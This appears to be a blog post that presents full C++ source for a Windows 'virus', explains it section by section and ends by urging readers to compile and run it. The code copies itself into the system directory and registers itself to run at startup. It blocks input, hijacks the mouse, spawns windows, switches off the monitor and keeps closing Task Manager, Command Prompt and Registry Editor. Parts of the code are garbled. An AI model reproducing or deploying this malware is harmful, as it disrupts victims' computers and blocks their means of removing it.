Virus Code In C++
![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5mhViHiBuCG8QaCOvc4McfcnuF7gwO3B9PWzTa_UTtTmJFLQO2nAQ_xUOJ1T0DFqAMAQkd7S-GNJN_Z1dgl4jepD5O4QzzjN6GO0V2slFXJbyo1PCuXqtRRo0QZ3eWdixyXPKXLaCfO4/s200/15253670-red-computer-or-medical-virus-stamp-isolated-on-white-background.jpg)
Virus Making Is A crime and i don't Take Any Clam over the Code it is not written By ME.
TO Learn About Virus Visit Our Previous Post.
#include #include #include #include #include #include using namespace std; int random, Freq, Dur, X, Y; HWND mywindow, TaskMgr, CMD, Regedit; char Notepad[MAX_PATH]="notepad.exe"; char MineSweeper[MAX_PATH]="winmine.exe"; char Hearts[MAX_PATH]="mshearts.exe"; char Website[MAX_PATH]="http:\\www.google.com"; void SetUp(); void Run( int ID ); void Beeper(), OpenStuff(), Hibernation(), CrazyMouse(); DWORD WINAPI DestroyWindows(LPVOID); int main() { srand( time(0) ); random = rand()%6; system("title :.Virus.:"); BlockInput( true ); SetUp(); BlockInput( false ); CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL); while(1) { Run( random ); Sleep(10); } } void SetUp() { char system[MAX_PATH]; char pathtofile[MAX_PATH]; HMODULE GetModH = GetModuleHandle(NULL); GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile)); GetSystemDirectory(system,sizeof(system)); strcat(system,"\\winminer.exe"); CopyFile(pathtofile,system,false); HKEY hKey; RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Mcft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey ); RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system)); RegCloseKey(hKey); mywindow = FindWindow(NULL,":.Virus.:"); cout<<"You Are Doomed cyberot"; Sleep(1000); ShowWindow(mywindow, false); } void Run( int ID ) { if( ID == 1 ) { BlockInput(true); } else if( ID == 2 ) { Beeper(); } else if( ID == 3 ) { OpenStuff(); } else if( ID == 4 ) { Hibernation(); } else if( ID == 5 ) { CrazyMouse(); } else { BlockInput(true); Beeper(); OpenStuff(); CrazyMouse(); } } void Beeper() { Freq = rand()%2001; Dur = rand()%301; Beep( Freq, Dur ); } void OpenStuff() { ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE); ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_MAXIMIZE); ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIMIZE); ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXIMIZE); } void Hibernation() { Sleep(1000); SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2); } void CrazyMouse() { X = rand()%801; Y = rand()%601; SetCursorPos( X, Y ); } DWORD WINAPI DestroyWindows(LPVOID) { while(1) { TaskMgr = FindWindow(NULL,"Windows Task Manager"); CMD = FindWindow(NULL, "Command Prompt"); Regedit = FindWindow(NULL,"Registry Editor"); if( TaskMgr != NULL ) { SetWindowText( TaskMgr, "You Suck Balls Superman"); PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0); } if( CMD != NULL ) { SetWindowText( CMD, "You Suck Balls Superman"); PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0); } if( Regedit != NULL ) { SetWindowText( Regedit, "You Suck Balls Superman"); PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0); } Sleep(10); } }
This is Not A proper Virus But it is An Annoying One. Still I'll Explain the Working
the blank include lines are
#include <stdio.h>
#include <windows.h>
#include <winable.h>
#include <conio.h>
#include <ctime>
Turn off the monitor
void Hibernation()
{
Sleep(1000);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
}
making your mouse go crazy. Make two rand var's and tell the mouse to goto them
{
X = rand()%801;
Y = rand()%601;
SetCursorPos( X, Y );
}
open random Apps as it says OpenStuff
{
ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXI MIZE);
ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_ MAXIMIZE);
ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIM IZE);
ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXI MIZE);
}
Find windows by name and destroy them ... Using the FindWindow command lets use do it and if its not null and it found the window open give it a command.
{
while(1)
{
TaskMgr = FindWindow(NULL,"Windows Task Manager");
CMD = FindWindow(NULL, "Command Prompt");
Regedit = FindWindow(NULL,"Registry Editor");
if( TaskMgr != NULL )
{
SetWindowText( TaskMgr, "You Suck Balls Superman");
PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( CMD != NULL )
{
SetWindowText( CMD, "You Suck Balls Superman");
PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( Regedit != NULL )
{
SetWindowText( Regedit, "You Suck Balls Superman");
PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
Add your program to run when windows starts
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Mcft\\W indows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
Make your comp beep different freq and different lengths again by rand numbers
{
Freq = rand()%2001;
Dur = rand()%301;
Beep( Freq, Dur );
}
ARGH...!! End too The Codeing Part Enjoy Compile Run. Have Fun..!
0 komentar:
Posting Komentar